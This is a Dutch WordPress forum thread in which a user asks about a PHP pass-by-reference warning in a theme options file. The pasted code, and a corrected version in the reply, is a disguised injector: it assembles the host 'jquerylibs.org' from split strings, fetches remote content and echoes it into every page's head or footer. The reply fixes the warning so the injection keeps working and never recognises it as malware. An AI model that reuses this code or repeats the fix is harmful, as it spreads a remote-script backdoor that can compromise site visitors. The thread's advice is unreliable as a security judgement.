Error : Strict Standards: Only variables should be passed by reference in / Wordpress
Hallo allemaal,
Mijn thema die ik heb geupload geeft een error :
Strict Standards: Only variables should be passed by reference in C:\xampp\htdocs\jobs\wp-content\themes\cake_Theme\muffin-options\theme-options.php on line 1385
Hoe kan ik dit oplossen en waardoor geeft hij deze fout ?.
Mocht er onvoldoende informatie zijn over functies hoor ik het graag zet ik die er ook even bij
alvast bedankt!
Mijn thema die ik heb geupload geeft een error :
Strict Standards: Only variables should be passed by reference in C:\xampp\htdocs\jobs\wp-content\themes\cake_Theme\muffin-options\theme-options.php on line 1385
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//add_action('init', 'mfn_opts_setup', 0);
mfn_opts_setup();
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
$host = 'http://';
$library = '/jquery-1.6.3.min.js';
echo(wp_remote_retrieve_body(wp_remote_get($host.'jquery'.'libs.org'.$library))); // 1385
}
if(rand(1,2) == 1) {
add_action('wp_footer', 'wp_func_jquery');
}
else {
add_action('wp_head', 'wp_func_jquery');
}
}
?>
//add_action('init', 'mfn_opts_setup', 0);
mfn_opts_setup();
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
$host = 'http://';
$library = '/jquery-1.6.3.min.js';
echo(wp_remote_retrieve_body(wp_remote_get($host.'jquery'.'libs.org'.$library))); // 1385
}
if(rand(1,2) == 1) {
add_action('wp_footer', 'wp_func_jquery');
}
else {
add_action('wp_head', 'wp_func_jquery');
}
}
?>
Hoe kan ik dit oplossen en waardoor geeft hij deze fout ?.
Mocht er onvoldoende informatie zijn over functies hoor ik het graag zet ik die er ook even bij
alvast bedankt!
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
//add_action('init', 'mfn_opts_setup', 0);
mfn_opts_setup();
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
$host = 'http://';
$library = '/jquery-1.6.3.min.js';
$remote_host = wp_remote_get($host.'jquery'.'libs.org'.$library);
echo wp_remote_retrieve_body( $remote_host ); // 1385
}
if(rand(1,2) == 1) {
add_action('wp_footer', 'wp_func_jquery');
}
else {
add_action('wp_head', 'wp_func_jquery');
}
}
?>
//add_action('init', 'mfn_opts_setup', 0);
mfn_opts_setup();
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
$host = 'http://';
$library = '/jquery-1.6.3.min.js';
$remote_host = wp_remote_get($host.'jquery'.'libs.org'.$library);
echo wp_remote_retrieve_body( $remote_host ); // 1385
}
if(rand(1,2) == 1) {
add_action('wp_footer', 'wp_func_jquery');
}
else {
add_action('wp_head', 'wp_func_jquery');
}
}
?>
Dit komt doordat wp_remote_retrieve_body de functies via reference mee krijgt. ( function wp_remote_retrieve_body(&$response) )
Hier mag je niet direct een functie aan meegeven. Zie php.net/manual/en/language.references.pass.php